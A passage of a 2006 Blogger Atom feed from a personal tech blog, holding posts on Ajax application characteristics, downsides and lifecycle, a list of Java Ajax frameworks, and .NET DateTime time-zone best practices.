&lt;li&gt; &lt;div align="left"&gt;&lt;b&gt;Easily Abused:&lt;/b&gt; As with any powerful technology, Ajax concepts can be abused by careless programmers. The patterns on this site are intended to guide developers towards more usable solutions, but the fact remains that Ajax isn't always used in a manner that supports usability. &lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p align="left"&gt;Visit &lt;a href="http://ajaxpatterns.org/Whats_Ajax" target="_blank"&gt;this link&lt;/a&gt; for more information&lt;/p&gt; &lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/downsides+of+ajax"&gt;downsides of ajax&lt;/a&gt;, &lt;a href="http://technorati.com/tag/disadvantages+ajax"&gt;disadvantages ajax&lt;/a&gt;, &lt;a href="http://technorati.com/tag/performance"&gt;performance&lt;/a&gt;, &lt;a href="http://technorati.com/tag/ajax+applications"&gt;ajax applications&lt;/a&gt;&lt;/p&gt; &lt;p align="left"&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115831131879701035?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115831131879701035/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115831131879701035' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115831131879701035'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115831131879701035'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/disadvantages-or-downsides-of-ajax.html' title='Disadvantages or Downsides of AJAX'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115831119370817189</id><published>2006-09-15T14:36:00.000+05:30</published><updated>2006-09-15T14:36:33.713+05:30</updated><title type='text'>Characteristics of AJAX applications</title><content type='html'>&lt;p align="left"&gt;The characteristics of Ajax applications include:  &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;b&gt;Continuous Feel:&lt;/b&gt; Traditional web applications force you to submit a form, wait a few seconds, watch the page redraw, and then add some more info. Forgot to enter the area code in a phone number? Start all over again. Sometimes, you feel like you're in the middle of a traffic jam: go 20 metres, stop a minute, go 20 metres, stop a minute ... How many E-Commerce sales have been lost because the user encountered one too many error message and gave up the battle? Ajax offers a smooth ride all the way. There's no page reloads here - you're just doing stuff and the browser is responding. &lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;b&gt;Real-Time Updates:&lt;/b&gt; As part of the continous feel, Ajax applications can update the page in real-time. Currently, news services on the web redraw the entire page at intervals, e.g. once every 15 minutes. In contrast, it's feasible for a browser running an Ajax application to poll the server every few seconds, so it's capable of updating any information directly on the parts of the page that need changing. The rest of the page is unaffected. &lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;b&gt;Graphical Interaction:&lt;/b&gt; Flashy backdrops are abundant on the web, but the basic mode of interaction has nevertheless mimicked the 1970s-style form-based data entry systems. Ajax represents a transition into the world of GUI controls visible on present-day desktops. Thus, you will encounter animations such as fading text to tell you something's just been saved, you will be able to drag items around, you will see some static text suddenly turn into an edit field as you hover over it. &lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;b&gt;Language Neutrality&lt;/b&gt; - Ajax strives to be equally usable with all the popular languages rather than be tied to one language. Past GUI attempts such as VB, Tk, and Swing tended to be married to one specific programming language. Ajax has learned from the past and rejects this notion. To help facilitate this, XML is often used as a declarative interface language. &lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p align="left"&gt;To prevent any confusion, these things are &lt;b&gt;not&lt;/b&gt; characterstic of Ajax:  &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;b&gt;Proprietary:&lt;/b&gt; "Ajax" is perhaps one of the most common brand names in history, but in context of web design, "Ajax" is neither the name of a company nor a product. It's not even the name of a standard or committee. It's a label for a design approach involving several related technologies. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;b&gt;Plugin-Based:&lt;/b&gt; Ajax applications do not require users to install browser plugins, or desktop software for that matter. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;b&gt;Browser Specific:&lt;/b&gt; As long as the user is working with a relatively recent, mainstream, browser (say 2001+), the application should work roughly the same way. Browser-specific applications somewhat defeat the purpose of Ajax. &lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p align="left"&gt;Visit &lt;a href="http://ajaxpatterns.org/Whats_Ajax" target="_blank"&gt;this link&lt;/a&gt; for more information&lt;/p&gt; &lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/ajax"&gt;ajax&lt;/a&gt;, &lt;a href="http://technorati.com/tag/ajax+application"&gt;ajax application&lt;/a&gt;, &lt;a href="http://technorati.com/tag/characteristics+of+ajax"&gt;characteristics of ajax&lt;/a&gt;, &lt;a href="http://technorati.com/tag/response+time"&gt;response time&lt;/a&gt;&lt;/p&gt; &lt;p align="left"&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115831119370817189?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115831119370817189/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115831119370817189' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115831119370817189'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115831119370817189'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/characteristics-of-ajax-applications.html' title='Characteristics of AJAX applications'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115831105256824816</id><published>2006-09-15T14:34:00.000+05:30</published><updated>2006-09-15T14:34:12.573+05:30</updated><title type='text'>Lifecycle of an AJAX application</title><content type='html'>&lt;p align="left"&gt;&lt;b&gt;The Ajax lifecycle is more like that of a traditional GUI than a traditional web application, with DOM objects acting like GUI widgets.&lt;/b&gt; The script registers event listeners on DOM objects, and manipulates the DOM in response to those events. As part of the event-processing cycle, the server may be invoked. There's actually a slight complication here in that the server calls are asynchronous, so the event-listening phase is split from the event-responding phase.  &lt;p align="left"&gt;Here's a &lt;b&gt;typical Ajax lifecycle within the browser&lt;/b&gt;:  &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;b&gt;Visit:&lt;/b&gt; The user visits a site the usual way, i.e. by clicking on a link or typing a URL. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;b&gt;Initialisation&lt;/b&gt; The page initially loads. Callbacks are established to handle user input, a loop might be established to continously refresh page elements. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;b&gt;Event Loop:&lt;/b&gt;&lt;/div&gt; &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;b&gt;Browser Event&lt;/b&gt; An event occurs, such as a keypress. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;b&gt;Server Request&lt;/b&gt; The browser sends a request to the server. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;...&amp;lt;Server processes the event&amp;gt; &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;b&gt;Server Response&lt;/b&gt; A moment later, the server responds, and the response is passed into a request callback function, one that was specified when the request was issued. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;b&gt;Browser Update&lt;/b&gt; The request callback function updates the DOM, including any Javascript variables, according to the response. &lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p align="left"&gt;Of course, there are plenty of variants. In particular, many events are handled locally and don't actually trigger a trip to the server. Also, some Ajax applications are short-lived and the browser interaction is eventually terminated with the user submitting a form. Others remain to interact with the user as long as they are in the user's browser.  &lt;p align="left"&gt;Note that the Browser Event and the Server Request occur in one thread, and the Server Response and Browser Update occur in a separate thread. This is due to the asynchronous nature of the server request. It's actually possible to configure XMLHttpRequest to make synchronous calls, but poor practice as it holds up the user.  &lt;p align="left"&gt;Visit &lt;a href="http://ajaxpatterns.org/Whats_Ajax" target="_blank"&gt;this link&lt;/a&gt; for much more information &lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/AJAX"&gt;AJAX&lt;/a&gt;, &lt;a href="http://technorati.com/tag/ajax+lifecycle"&gt;ajax lifecycle&lt;/a&gt;, &lt;a href="http://technorati.com/tag/gui"&gt;gui&lt;/a&gt;, &lt;a href="http://technorati.com/tag/dom+objects"&gt;dom objects&lt;/a&gt;, &lt;a href="http://technorati.com/tag/widgets"&gt;widgets&lt;/a&gt;, &lt;a href="http://technorati.com/tag/browser"&gt;browser&lt;/a&gt;, &lt;a href="http://technorati.com/tag/browser+event"&gt;browser event&lt;/a&gt;, &lt;a href="http://technorati.com/tag/server"&gt;server&lt;/a&gt;, &lt;a href="http://technorati.com/tag/request"&gt;request&lt;/a&gt;, &lt;a href="http://technorati.com/tag/response"&gt;response&lt;/a&gt; &lt;p align="left"&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115831105256824816?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115831105256824816/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115831105256824816' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115831105256824816'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115831105256824816'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/lifecycle-of-ajax-application.html' title='Lifecycle of an AJAX application'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115831088403840484</id><published>2006-09-15T14:31:00.000+05:30</published><updated>2006-09-15T14:31:24.160+05:30</updated><title type='text'>Java AJAX Frameworks</title><content type='html'>&lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Java_Ajax_Frameworks#Advanced_Ajax_tags_:_SweetDEV_RIA"&gt;1 Advanced Ajax tags&amp;nbsp;: SweetDEV RIA&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Java_Ajax_Frameworks#ADL.28AJAX_Dev_Library.29_and_AJAX_tool_for_Java_In_JoyiStar"&gt;2 ADL(AJAX Dev Library) and AJAX tool for Java In JoyiStar&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Java_Ajax_Frameworks#AjaxAnywhere_.28from_September_2005.29"&gt;3 AjaxAnywhere (from September 2005)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Java_Ajax_Frameworks#AJAX_JSP_Tag_Library"&gt;4 AJAX JSP Tag Library&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Java_Ajax_Frameworks#AjaxTags_.28a_subcomponent_of_the_Java_Web_Parts_project.29"&gt;5 AjaxTags (a subcomponent of the Java Web Parts project)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Java_Ajax_Frameworks#Ajax4jsf._AJAX_for_Java_Server_Faces_Framework"&gt;6 Ajax4jsf. AJAX for Java Server Faces Framework&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Java_Ajax_Frameworks#Ajax_reusable_GUI_Classes_and_.E2.80.9Cloosely_coupled.E2.80.9D_component_based_Framework"&gt;7 Ajax reusable GUI Classes and “loosely coupled” component based Framework&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Java_Ajax_Frameworks#Backbase_AJAX_for_JSF"&gt;8 Backbase AJAX for JSF&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Java_Ajax_Frameworks#Direct_Web_Remoting_.28DWR.29_.282005.29"&gt;9 Direct Web Remoting (DWR) (2005)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Java_Ajax_Frameworks#Echo_2_.28from_March_2005.29"&gt;10 Echo 2 (from March 2005)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Java_Ajax_Frameworks#Guise"&gt;11 Guise&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Java_Ajax_Frameworks#Google_Web_Toolkit"&gt;12 Google Web Toolkit&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Java_Ajax_Frameworks#ICEfaces"&gt;13 ICEfaces&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Java_Ajax_Frameworks#Light_Portal"&gt;14 Light Portal&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Java_Ajax_Frameworks#Java2Script_Pacemaker"&gt;15 Java2Script Pacemaker&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Java_Ajax_Frameworks#Java_Web_Objects_.28May_2001.29"&gt;16 Java Web Objects (May 2001)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Java_Ajax_Frameworks#jMaki_.28May_2006.29"&gt;17 jMaki (May 2006)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Java_Ajax_Frameworks#JSON-RPC-Java_.28April_2004.29"&gt;18 JSON-RPC-Java (April 2004)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Java_Ajax_Frameworks#JSP_Controls_Tag_Library_.28December_2005.29"&gt;19 JSP Controls Tag Library (December 2005)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Java_Ajax_Frameworks#jWic"&gt;20 jWic&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Java_Ajax_Frameworks#Proficy_Portal"&gt;21 Proficy Portal&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Java_Ajax_Frameworks#Struts-Layout"&gt;22 Struts-Layout&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Java_Ajax_Frameworks#SWATO_.282005.29"&gt;23 SWATO (2005)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Java_Ajax_Frameworks#Tacos_Tapestry_Components_.28dec_2005.29"&gt;24 Tacos Tapestry Components (dec 2005)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Java_Ajax_Frameworks#ThinkCAP_JX:_RAD_Environment_for_AJAX.2C_J2EE.2C_and_Open_Source"&gt;25 ThinkCAP JX: RAD Environment for AJAX, J2EE, and Open Source&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Java_Ajax_Frameworks#ThinWire.E2.84.A2_-_Beyond_Ajax_.28Available_Now.21_Dual_Licensed.2C_Open_Source_under_GPL.2C_in_Production_Use_Since_2003.29"&gt;26 ThinWire™ - Beyond Ajax (Available Now! Dual Licensed, Open Source under GPL, in Production Use Since 2003)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Java_Ajax_Frameworks#WebORB_for_Java_.28from_August_2005.29"&gt;27 WebORB for Java (from August 2005)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Java_Ajax_Frameworks#Wicket_.282004.2C_Ajax_support_2005.29"&gt;28 Wicket (2004, Ajax support 2005)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Java_Ajax_Frameworks#WidgetServer_.282004.29"&gt;29 WidgetServer (2004)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Java_Ajax_Frameworks#XANDRA_Framework_SOAP_and_SOA_Architecture"&gt;30 XANDRA Framework SOAP and SOA Architecture&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Java_Ajax_Frameworks#xulfaces_.28XUL_render_kit_for_JSF.29"&gt;31 xulfaces (XUL render kit for JSF)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Java_Ajax_Frameworks#xWire_.28Released_October.2C_2005.29"&gt;32 xWire (Released October, 2005)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Java_Ajax_Frameworks#ZK_-_Ajax_but_no_JavaScript_.28.231_active_in_SourceForge.29"&gt;33 ZK - Ajax but no JavaScript (#1 active in SourceForge)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Java_Ajax_Frameworks#BZByte_EZAjax_-_Ajax.2C_no_javascript.2C_no_nonsense"&gt;34 BZByte EZAjax - Ajax, no javascript, no nonsense&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p align="left"&gt;You can visit &lt;a href="http://ajaxpatterns.org/Java_Ajax_Frameworks" target="_blank"&gt;AjaxPatterns&lt;/a&gt; for more information&lt;/p&gt; &lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/AJAX"&gt;AJAX&lt;/a&gt;, &lt;a href="http://technorati.com/tag/AJAX+frameworks"&gt;AJAX frameworks&lt;/a&gt;, &lt;a href="http://technorati.com/tag/java+ajax"&gt;java ajax&lt;/a&gt;, &lt;a href="http://technorati.com/tag/ajax+patterns"&gt;ajax patterns&lt;/a&gt;&lt;/p&gt; &lt;p align="left"&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115831088403840484?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115831088403840484/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115831088403840484' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115831088403840484'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115831088403840484'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/java-ajax-frameworks.html' title='Java AJAX Frameworks'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115830039434988791</id><published>2006-09-15T11:36:00.000+05:30</published><updated>2006-09-15T11:36:34.476+05:30</updated><title type='text'>Best Practices Using DateTime in .NET Framework</title><content type='html'>&lt;p align="left"&gt;Many programmers encounter assignments that require them to accurately store and process data that contain date and time information. On first glance, the common language runtime (CLR) &lt;b&gt;DateTime&lt;/b&gt; data type appears to be perfect for these tasks. It isn't uncommon, however, for programmers, but more likely testers, to encounter cases where a program simply loses track of correct time values. This article focuses on issues associated with logic involving DateTime, and in doing so, uncovers best practices for writing and testing programs that capture, store, retrieve, and transmit DateTime information.&lt;/p&gt; &lt;p align="left"&gt;"The CLR &lt;b&gt;System.DateTime&lt;/b&gt; value type represents dates and times ranging from 12:00:00 midnight, January 1, 0001 AD to 11:59:59 PM, December 31 9999 AD." Reading further, we learn, unsurprisingly, that a DateTime value represents an instant at a point in time, and that a common practice is to record point-in-time values in Coordinated Universal Time (UCT)—more commonly known as Greenwich Mean Time (GMT).&lt;/p&gt; &lt;p align="left"&gt;At first glance, then, a programmer discovers that a DateTime type is pretty good at storing time values that are likely to be encountered in current-day programming problems, such as in business applications. With this confidence, many an unsuspecting programmer begins coding, confident that they can learn as much as they need to about time as they go forward. This "learn-as-you-go" approach can lead you into a few problems, so let's start identifying them. They range from issues in the documentation to behaviors that need to be factored into your program designs. &lt;p align="left"&gt;The V1.0 and 1.1 documentation for System.DateTime makes a few generalizations that can throw the unsuspecting programmer off track. For instance, the documentation currently still says that the methods and properties found on the DateTime class always use the assumption that the value represents the local machine local time zone when making calculations or comparisons. This generalization turns out to be untrue because there are certain types of Date and Time calculations that assume GMT, and others that assume a local time zone view. &lt;h5 align="left"&gt;The Rules&lt;/h5&gt; &lt;ol&gt; &lt;li&gt; &lt;div align="left"&gt;Calculations and comparisons of DateTime instances are only meaningful when the instances being compared or used are representations of points in time from the same time-zone perspective. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;A developer is responsible for keeping track of time-zone information associated with a DateTime value via some external mechanism. Typically this is accomplished by defining another field or variable that you use to record time-zone information when you store a DateTime value type. This approach (storing the time-zone sense alongside the DateTime value) is the most accurate and allows different developers at different points in a program's lifecycle to always have a clear understanding of the meaning of a DateTime value. Another common approach is to make it a "rule" in your design that all time values are stored in a specific time-zone context. This approach does not require additional storage to save a user's view of the time-zone context, but introduces the risk that a time value will be misinterpreted or stored incorrectly down the road by a developer that isn't aware of the rule. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Performing date and time calculations on values that represent machine local time may not always yield the correct result. When performing calculations on time values in time-zone contexts that practice daylight savings time, you should convert values to universal time representations before performing date arithmetic calculations. For a specific list of operations and proper time-zone contexts, see the table in the &lt;a href="http://msdn.microsoft.com/netframework/default.aspx?pull=/library/en-us/dndotnet/html/datetimecode.asp#datetime_sort"&gt;Sorting out DateTime Methods&lt;/a&gt; section. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;A calculation on an instance of a DateTime value does not modify the value of the instance, thus a call to &lt;b&gt;MyDateTime.ToLocalTime()&lt;/b&gt; does not modify the value of the instance of the DateTime. The methods associated with the &lt;b&gt;Date&lt;/b&gt; (in Visual Basic®) and &lt;b&gt;DateTime&lt;/b&gt; (in the .NET CLR) classes return new instances that represent the result of a calculation or operation. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;When using the .NET Framework version 1.0 and 1.1, DO NOT send a DateTime value that represents UCT time thru &lt;b&gt;System.XML.Serialization&lt;/b&gt;. This goes for Date, Time and DateTime values. For Web services and other forms of serialization to XML involving System.DateTime, always make sure that the value in the DateTime value represents current machine local time. The serializer will properly decode an XML Schema-defined DateTime value that is encoded in GMT (offset value = 0), but it will decode it to the local machine time viewpoint. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;In general, if you are dealing with absolute elapsed time, such as measuring a timeout, performing arithmetic, or doing comparisons of different DateTime values, you should try and use a Universal time value if possible so that you get the best possible accuracy without effects of time zone and/or daylight savings having an impact. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;When dealing with high-level, user-facing concepts such as scheduling, and you can safely assume that each day has 24 hours from a user's perspective, it may be okay to counter Rule #6 by performing arithmetic, et cetera, on local times. &lt;/div&gt;&lt;/li&gt;&lt;/ol&gt; &lt;p align="left"&gt;&lt;/p&gt; &lt;h5 align="left"&gt;Best Practice #1&lt;/h5&gt; &lt;p align="left"&gt;&lt;i&gt;When coding, store the time-zone information associated with a DateTime type in an adjunct variable.&lt;/i&gt;&lt;/p&gt; &lt;h5 align="left"&gt;Best Practice #2&lt;/h5&gt; &lt;p align="left"&gt;&lt;i&gt;When testing, check to see that stored values represent the point-in-time value you intend in the time zone you intend&lt;/i&gt;.&lt;/p&gt; &lt;h5 align="left"&gt;Best Practice #3&lt;/h5&gt; &lt;p align="left"&gt;&lt;i&gt;When coding, be careful if you need to perform DateTime calculations (add/subtract) on values representing time zones that practice daylight savings time. Unexpected calculation errors can result. Instead, convert the local time value to universal time, perform the calculation, and convert back to achieve maximum accuracy.&lt;/i&gt;&lt;/p&gt; &lt;h5 align="left"&gt;Best Practice #4&lt;/h5&gt; &lt;p align="left"&gt;&lt;i&gt;When testing, calculate the value you expect to see in the XML string that is serialized using a machine local time view of the point in time being tested. If the XML in the serialization stream differs, log a bug!&lt;/i&gt;&lt;/p&gt; &lt;h5 align="left"&gt;Best Practice #5&lt;/h5&gt; &lt;p align="left"&gt;&lt;i&gt;When writing code to serialize classes that have DateTime member variables, the values must represent local time. If they do not contain local time, adjust them prior to any serialization step, including passing or returning types that contain DateTime values in Web services.&lt;/i&gt;&lt;/p&gt; &lt;h5 align="left"&gt;Best Practice #6&lt;/h5&gt; &lt;p align="left"&gt;&lt;i&gt;When coding, make DateTime member variables private and provide two properties for manipulating your DateTime members in either local or universal time. Bias the storage in the private member as UCT time by controlling the logic in your getters and setters. Add the XML serialization attributes to the local time property declaration to make sure that the local time value is what is serialized.&lt;/i&gt;&lt;/p&gt; &lt;h5 align="left"&gt;Best Practice #7&lt;/h5&gt; &lt;p align="left"&gt;&lt;i&gt;When testing, if your programs accept user input specifying date and time values, be sure to test for data loss on "spring-ahead", "fall-back" 23- and 25-hour days. Also make sure to test for dates gathered on a machine in one time zone and stored on a machine in another time zone.&lt;/i&gt;&lt;/p&gt; &lt;h5 align="left"&gt;Best Practice #8&lt;/h5&gt; &lt;p align="left"&gt;&lt;i&gt;When you are coding and desire to store current time represented as universal time, avoid calling DateTime.Now() followed by a conversion to universal time. Instead, call the DateTime.UtcNow function directly. &lt;/i&gt;&lt;/p&gt; &lt;p align="left"&gt;&lt;i&gt;Caveat: If you are going to serialize a class that contains a DateTime value, be sure that the value being serialized does not represent Universal time. XML serialization will not support UCT serialization until the Whidbey release of Visual Studio.&lt;/i&gt;&lt;/p&gt; &lt;p align="left"&gt;&lt;a href="http://msdn.microsoft.com/netframework/default.aspx?pull=/library/en-us/dndotnet/html/datetimecode.asp" target="_blank"&gt;Get more information&lt;/a&gt;&lt;/p&gt; &lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/.NET"&gt;.NET&lt;/a&gt;, &lt;a href="http://technorati.com/tag/.NET+Framework"&gt;.NET Framework&lt;/a&gt;, &lt;a href="http://technorati.com/tag/DateTime"&gt;DateTime&lt;/a&gt;, &lt;a href="http://technorati.com/tag/Best+Practices"&gt;Best Practices&lt;/a&gt;, &lt;a href="http://technorati.com/tag/CLR"&gt;CLR&lt;/a&gt;, &lt;a href="http://technorati.com/tag/System.DateTime"&gt;System.DateTime&lt;/a&gt;, &lt;a href="http://technorati.com/tag/programming"&gt;programming&lt;/a&gt;, &lt;a href="http://technorati.com/tag/time+zones"&gt;time zones&lt;/a&gt;, &lt;a href="http://technorati.com/tag/universal+time"&gt;universal time&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115830039434988791?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115830039434988791/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115830039434988791' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115830039434988791'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115830039434988791'/><link rel='alternate' 